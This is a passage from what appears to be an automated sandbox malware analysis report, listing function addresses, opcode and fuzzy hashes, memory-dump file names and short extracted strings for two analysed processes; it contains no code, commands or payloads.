Opcode ID: 77bd1f3b9db6449dec9ea877bd087b732eec4ab0991243e21285cd9fe93c346d
Instruction ID: 321e69ece7ede1653266b3bf802dd2df12850a22f7e19bbc1a196fc53f30092b
Opcode Fuzzy Hash: 77bd1f3b9db6449dec9ea877bd087b732eec4ab0991243e21285cd9fe93c346d
Instruction Fuzzy Hash: BEE01A2594F7C04FC70B9B3488688407FA09E1721074A40EBC085CF1B3D6198D49C712

Function 00007FFD9B8EAA20 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dcf6f186a69dc30b7264343107c1740d3d06567463b77a3f3b23bc25bec9010
Instruction ID: 26e147993d65d7cca4b7e265459b6abdec6b03699bd51463d17577ea97554209
Opcode Fuzzy Hash: 0dcf6f186a69dc30b7264343107c1740d3d06567463b77a3f3b23bc25bec9010
Instruction Fuzzy Hash: C6D0A934BA0A080B8B0CA53D8858430B392E7AA50B380627CD407C7391ED25ECCA8B80

Function 00007FFD9B8E2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8E7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8e1000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: e19ce7b511299d9a9918f4e8d512872d42747c14bf3c3682a89c72a844402a83
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: E5D02234B908084FC70CB738885CC303390EB6E20279140A8D00ACB3B1D92ADC88C780

Function 00007FFD9B8B6215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c61ea8b70e40897f76b7e31e72352160bad6fa1613ce685a536fede854b9c9
Instruction ID: 7a43b4c74bcfb840bae653b4bded95499edb70ab93cf571753545dc6fb22fdf2
Opcode Fuzzy Hash: 93c61ea8b70e40897f76b7e31e72352160bad6fa1613ce685a536fede854b9c9
Instruction Fuzzy Hash: FAD05B00F1D87A0AF32A9764447153D2D525F4A354F9508F5D44ACF1DBCC0C770157D2

Function 00007FFD9B8B5B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: 4a0586020a1d9d379eb4a44baaa7b1965f9df5bdedb876d2dce1607185ba45f9
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: F5D01720F2692D4FE7B0E7788469BB862A1BF4C300F4101B5800DF36A2DC28AE408F41

Function 00007FFD9B8B06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction ID: cd777b65329f9957f46b67db38ed6de0dc75af377c94ec0ce1214aa4547011d7
Opcode Fuzzy Hash: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction Fuzzy Hash: 3BC04C05F6BA3F01F83573FF98660ACA1419BDEA10FD70176D55C400E1AC4D62D90AD6

Function 00007FFD9B8B61DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aba58acb2a2e21c2897d83a1761048a9d48662769d7da2e352f71b90f308712
Instruction ID: 4024bd79eda90e668d4f6ec65c2d2dd1c5d0549548b538e4088bb15cfc79c3d2
Opcode Fuzzy Hash: 9aba58acb2a2e21c2897d83a1761048a9d48662769d7da2e352f71b90f308712
Instruction Fuzzy Hash: CAC04C01F29C6A06F75A6614453157E44539F48798FD544B4E01EC72CECD1C5B0256C7

Function 00007FFD9B8B06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 85557934fad5f2123bc61b1991af6e12978d7e58dd61c736fcb6d4be142ca947
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: FAB01200D6782F00F43433FB089206470409B4C100FC20070D40C40091E84D229407C2

Non-executed Functions

Function 00007FFD9B8C05A5 Relevance: 11.6, Strings: 9, Instructions: 370COMMON

Download Yara Rule

Strings

K_^%, xrefs: 00007FFD9B8C06C9
K_^1, xrefs: 00007FFD9B8C072A
K_^0, xrefs: 00007FFD9B8C0722
K_^8, xrefs: 00007FFD9B8C0762
]+=, xrefs: 00007FFD9B8C078E
K_^;, xrefs: 00007FFD9B8C077A
K_^9, xrefs: 00007FFD9B8C076A
+<K, xrefs: 00007FFD9B8C088F
K_^$, xrefs: 00007FFD9B8C06C2

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8c0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: K_^$$K_^%$K_^0$K_^1$K_^8$K_^9$K_^;$]+=$+<K
API String ID: 0-3540803816
Opcode ID: 4d5b6edfdabc2f76ac9cc8d2dab56309d0e433bf25183a27419f821a07baa84b
Instruction ID: 8c0fefae52cf3ac22272fda72429e7b9b3314df91836c11a7604d6123d8d4914
Opcode Fuzzy Hash: 4d5b6edfdabc2f76ac9cc8d2dab56309d0e433bf25183a27419f821a07baa84b
Instruction Fuzzy Hash: 0AA144A7B0D53649E31E76AD7DA58FD7B00EF8123D70843B7D19D8B0C7A848608792D5

Function 00007FFD9B8C06D3 Relevance: 11.5, Strings: 9, Instructions: 235COMMON

Download Yara Rule

Strings

K_^%, xrefs: 00007FFD9B8C06C9
K_^1, xrefs: 00007FFD9B8C072A
K_^0, xrefs: 00007FFD9B8C0722
K_^8, xrefs: 00007FFD9B8C0762
]+=, xrefs: 00007FFD9B8C078E
K_^;, xrefs: 00007FFD9B8C077A
K_^9, xrefs: 00007FFD9B8C076A
+<K, xrefs: 00007FFD9B8C088F
K_^$, xrefs: 00007FFD9B8C06C2

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8c0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: K_^$$K_^%$K_^0$K_^1$K_^8$K_^9$K_^;$]+=$+<K
API String ID: 0-3540803816
Opcode ID: b86c76868758e29de7f66d74ae9ac291c178f505c56984894a36b46e2131f734
Instruction ID: 9fff807abb34106e7e15f2f0ace87bcfcd0b5aa8dc49d3ec4d44977dbe7bf9ac
Opcode Fuzzy Hash: b86c76868758e29de7f66d74ae9ac291c178f505c56984894a36b46e2131f734
Instruction Fuzzy Hash: CA517297B0C53684E71E36A83E6A9FD2704CF4137CB0447B7E12E8A0CB6C9C648361D9

Function 00007FFD9B8C06FA Relevance: 10.2, Strings: 8, Instructions: 223COMMON

Download Yara Rule

Strings

K_^1, xrefs: 00007FFD9B8C072A
K_^0, xrefs: 00007FFD9B8C0722
K_^8, xrefs: 00007FFD9B8C0762
K_^+, xrefs: 00007FFD9B8C06FA
]+=, xrefs: 00007FFD9B8C078E
K_^;, xrefs: 00007FFD9B8C077A
K_^9, xrefs: 00007FFD9B8C076A
+<K, xrefs: 00007FFD9B8C088F

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8c0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: K_^+$K_^0$K_^1$K_^8$K_^9$K_^;$]+=$+<K
API String ID: 0-543036616
Opcode ID: 91253349cf2a017ca266c3eaa7825c3b294948235b6fc3900447948c267406b5
Instruction ID: aa42e6e7e36ce1e6cd25d8e72d0e9c057bd41d0fd36f2a02a58bbf8f4e744cd1
Opcode Fuzzy Hash: 91253349cf2a017ca266c3eaa7825c3b294948235b6fc3900447948c267406b5
Instruction Fuzzy Hash: 21514297A0C53684E71E36F93E6A9FD2704CF4137CB0487B7E16E8A0CB6D98648361D9

Function 00007FFD9B8B09B0 Relevance: 5.2, Strings: 4, Instructions: 179COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD9B8B0B3E
c9, xrefs: 00007FFD9B8B0B56
!k9, xrefs: 00007FFD9B8B0B4E
"s9, xrefs: 00007FFD9B8B0B46

Memory Dump Source

Source File: 0000001F.00000002.1935204645.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8b0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 19c4eb00ea7aba258664a3d7db82ed3fe905f522767b45ee02e39d0b2aeb3aa9
Instruction ID: 5503719be1e50387aa5465afe509886f628295db1a3ac79c64f7e6e714fac4aa
Opcode Fuzzy Hash: 19c4eb00ea7aba258664a3d7db82ed3fe905f522767b45ee02e39d0b2aeb3aa9
Instruction Fuzzy Hash: 3641E142B1853785E21F33FD792A8FC6B40DF8137CB4846B7E05E8A0EB5D88608792E5

Analysis Process: Gg6wivFINd.exePID: 8164, Parent PID: 7888COMMON

Executed Functions

Function 00007FFD9B890D4C Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD9B890DF3

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: eecd9fb3eb664205f195df33385d62c5b5d5d04e7fdfd726cd5030fd7716dd5f
Instruction ID: e9f7af0aafa3d6dcd32c529ce276211d42a848d1d73caf53669fccd973c7ae84
Opcode Fuzzy Hash: eecd9fb3eb664205f195df33385d62c5b5d5d04e7fdfd726cd5030fd7716dd5f
Instruction Fuzzy Hash: 9391D571A19A9D4FEB99EB6C88697A9BFF1FF5A310F4000BAD049D72D2DB782411C701

Function 00007FFD9B8C1625 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f06df307eb25c6ec3df95a39bb58c6ee74bbb2a602dddd1f286ccd9cc93373c8
Instruction ID: 8e139fe08f3d27e5874d049843e9a30e1c18e96305428fb6234c4caedf8174b2
Opcode Fuzzy Hash: f06df307eb25c6ec3df95a39bb58c6ee74bbb2a602dddd1f286ccd9cc93373c8
Instruction Fuzzy Hash: 40D10E71E2E6990BE32D7B688CD21B177D1EB86305B59837ED8DBC309BD928A40743C1

Function 00007FFD9B8C880D Relevance: 3.9, Strings: 3, Instructions: 151COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C8762
J_^, xrefs: 00007FFD9B8C882A
, Culture=neutral, PublicKeyToken=b77a5c561934e089, xrefs: 00007FFD9B8C876A

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: , Culture=neutral, PublicKeyToken=b77a5c561934e089$J_^$J_^
API String ID: 0-3105103291
Opcode ID: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction ID: 52c7b1217cfc59b17a6539bc56a5c16f361d047ef856656672d4caf947560a3e
Opcode Fuzzy Hash: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction Fuzzy Hash: 2F4103B7A0B16A4BE31AAB6EECA64F43791FF95228B0901F3C4D88B153FC14680F4155

Function 00007FFD9B8C86F0 Relevance: 3.9, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C8762
J_^, xrefs: 00007FFD9B8C8712
, Culture=neutral, PublicKeyToken=b77a5c561934e089, xrefs: 00007FFD9B8C876A

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: , Culture=neutral, PublicKeyToken=b77a5c561934e089$J_^$J_^
API String ID: 0-3105103291
Opcode ID: cd4b2e59c6e8676d45614aa8b16d1f485eb4184eaaf68feef2a1d6047cb67d65
Instruction ID: 346c957cd1a71479cfd736ad0fbae8d55a645bb6731e3dc5769b7c3410066220
Opcode Fuzzy Hash: cd4b2e59c6e8676d45614aa8b16d1f485eb4184eaaf68feef2a1d6047cb67d65
Instruction Fuzzy Hash: 1B31F6F3A0A66A4BE71AAB6DECA64E437D1FF15218B0902F7D4D88B153FC14680B8145

Function 00007FFD9B8C8835 Relevance: 2.6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C886A
, Culture=neutral, PublicKeyToken=b77a5c561934e089, xrefs: 00007FFD9B8C8872

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: , Culture=neutral, PublicKeyToken=b77a5c561934e089$J_^
API String ID: 0-794886213
Opcode ID: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction ID: df6869aacf3fff118c6da3fec550e806cd1334a566ccd9012026880d62f92770
Opcode Fuzzy Hash: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction Fuzzy Hash: 6301AFB3E095498FD719971DDCA68B033E0FF58714B0602F7C894CB523F92469A68681

Function 00007FFD9B8B5B69 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8B5B86

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: c9a17ddb6c2942323b736900e33151fb1b929e5c0223eeac2504e346bf5d7621
Instruction ID: 62ab0402656f03ac3ce4063c96e283772fef0d91bf8a6b7ecea37f22630c4f23
Opcode Fuzzy Hash: c9a17ddb6c2942323b736900e33151fb1b929e5c0223eeac2504e346bf5d7621
Instruction Fuzzy Hash: 66F0E53160F3D04FCB16DA7888284547F60EF2720174A42EEC046CF1E3EA1CC885CB41

Function 00007FFD9B8CAB69 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8CAB86

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction ID: 41bbc0858c2e7d86a69b140d9492761b8fe3181c314d49ee6d3e9cfa965d4fb1
Opcode Fuzzy Hash: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction Fuzzy Hash: 7AE06D3060E3C58FC71AAB348869854BF60EE6721134A42EFC445CF5A3DA2D8889CB11

Function 00007FFD9B8C21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C2206

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 8c85d293a7f841cf7bb35c5fec70fd9ce29aa14d01f197a34035b40258eaac6b
Instruction ID: 116f008a77c405e3babde33686b1f579169796eeaa22f6eb93e01eec3bf44f08
Opcode Fuzzy Hash: 8c85d293a7f841cf7bb35c5fec70fd9ce29aa14d01f197a34035b40258eaac6b
Instruction Fuzzy Hash: 00E06D2060E3C08FCB16AB3488688547FA0EE6720174A52EFC046CF1A3EA2D8985CB01

Function 00007FFD9B8C3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C3496

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: e7b5cc0fc85a29af10ce8a1d418bf222c095bfde7f4e21b5a3951de569c3493b
Instruction ID: 1909a5492b0ccd395e66565f01b7afcf1c525d4f63b91859bf27711c0b5701e5
Opcode Fuzzy Hash: e7b5cc0fc85a29af10ce8a1d418bf222c095bfde7f4e21b5a3951de569c3493b
Instruction Fuzzy Hash: FBE0657150E7C44FC716AA3488698647FA0EF6720174A41EFC045CF5A3DA2D8885C701

Function 00007FFD9B8C83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C83F6

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 4da6f48face4454b9ed7929cbc071c62f43725251f4b4a2e4d3c2b77982ef3dc
Instruction ID: fce315d65909a511189f9bef149724efc422f72f75f7b1d1bd3c7b7e9c7d9737
Opcode Fuzzy Hash: 4da6f48face4454b9ed7929cbc071c62f43725251f4b4a2e4d3c2b77982ef3dc
Instruction Fuzzy Hash: B3E01A7154E3C08FCB0AAB748869C543FB0AE6B21078B41DEC049CF1B3D62DC949C711

Function 00007FFD9B8C2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C2296

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: b18d00a4f577e12bc260ea3574444e5c8326bfb1cb27f823a4b8deb40d699b55
Instruction ID: af5ea34934ecae9a52b466c3b42dd7c7212ae5f0112c5de488d376696ffdcbd1
Opcode Fuzzy Hash: b18d00a4f577e12bc260ea3574444e5c8326bfb1cb27f823a4b8deb40d699b55
Instruction Fuzzy Hash: 75E04F7154A3C04FCB06EB748469C543FB0EE6721078B41DEC04ACF1B3E62D8949C701

Function 00007FFD9B8B9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8B9656

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction ID: 09afabde410a075838604cb405c1b720a30f4594a3d912ac7f9a6f539754667b
Opcode Fuzzy Hash: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction Fuzzy Hash: 78E01A7054A3C04FCB06EB7484699543FA0DE6721178B41DEC089CB1B3E62D8949C701

Function 00007FFD9B8C7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479ad1b271a1f26d5fb14f41f666bf6df9c011038997684a0186042bc8b50deb
Instruction ID: 2a2de1fa01768109c78b562a2f79f1ffe22a2fab82aee559ece47724b284ca21
Opcode Fuzzy Hash: 479ad1b271a1f26d5fb14f41f666bf6df9c011038997684a0186042bc8b50deb
Instruction Fuzzy Hash: 81C14575A0D6898FE765EF68C8646753BA1EF8A314F1940BFD04D871E3CE29AC42C781

Function 00007FFD9B8B9821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595e28a42dc20d7b87be55ead4e7dc0d7132f5d6b4b6f8e26372fdd735fc1b3e
Instruction ID: 2fc5c3cc4ebbe052614ce2ffc2bc41ee06828f901c056c6cf31e6e6c823741d1
Opcode Fuzzy Hash: 595e28a42dc20d7b87be55ead4e7dc0d7132f5d6b4b6f8e26372fdd735fc1b3e
Instruction Fuzzy Hash: 86A17030B1891E4FDB54EB68C4A9AB977E2FF9C314B514579D01DC32A6DF38A842CB81

Function 00007FFD9B8908D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9bb44c9555938b5878cefef28f717cc89ae75bf13ae414142d0462ac69cf33e
Instruction ID: 9d02d7a28e187a30e35337b7b36431331ba90c8f4a12dcf6ac5e23cfd68ba535
Opcode Fuzzy Hash: c9bb44c9555938b5878cefef28f717cc89ae75bf13ae414142d0462ac69cf33e
Instruction Fuzzy Hash: 0D418C22B0C5694FE719B7BC74AA6F97B81DF49329B0400BFD04EC71E7DD1869428385

Function 00007FFD9B8BF8D5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0357e646b8d2238681e605a5734e1f4a208db13a116a1cbe1c715c2376399aa2
Instruction ID: 863ec139b3d439b2044c36c95ef4807078776e5bcafdcce90331b864fd8a420f
Opcode Fuzzy Hash: 0357e646b8d2238681e605a5734e1f4a208db13a116a1cbe1c715c2376399aa2
Instruction Fuzzy Hash: 80419C61A0E7C90FD7179B385CB42647FB1AF6B210B4E02EBD489CB1E3E9181949C362

Function 00007FFD9B890998 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6265d895acaebf6e48cab377725329fcfb713018a138c8e72d5f66e5d9984ffd
Instruction ID: 8f8b10857c66d30a3b5a5d35024893197a161331bc4dfe137948475c01829b34
Opcode Fuzzy Hash: 6265d895acaebf6e48cab377725329fcfb713018a138c8e72d5f66e5d9984ffd
Instruction Fuzzy Hash: F5213620B1D91E0FEB98FB6C946E67976D6EF9D315B4100B9E40EC32E7DD28AD418281

Function 00007FFD9B8C26A8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1872798520.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8091cd7d938232f0921969e5cd35d55a238a64707f729658b7e64cd92abb3db
Instruction ID: f4ae02e2d61aa8e8eb030254eafdeccff06127cd25d0365e353681a5b36667c8
Opcode Fuzzy Hash: c8091cd7d938232f0921969e5cd35d55a238a64707f729658b7e64cd92abb3db
Instruction Fuzzy Hash: 7021F462B0D94E4FE798FBE898F66B46291EF5C314F1502BBE40CC61E3DC69298A4341

Function 00007FFD9B890C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

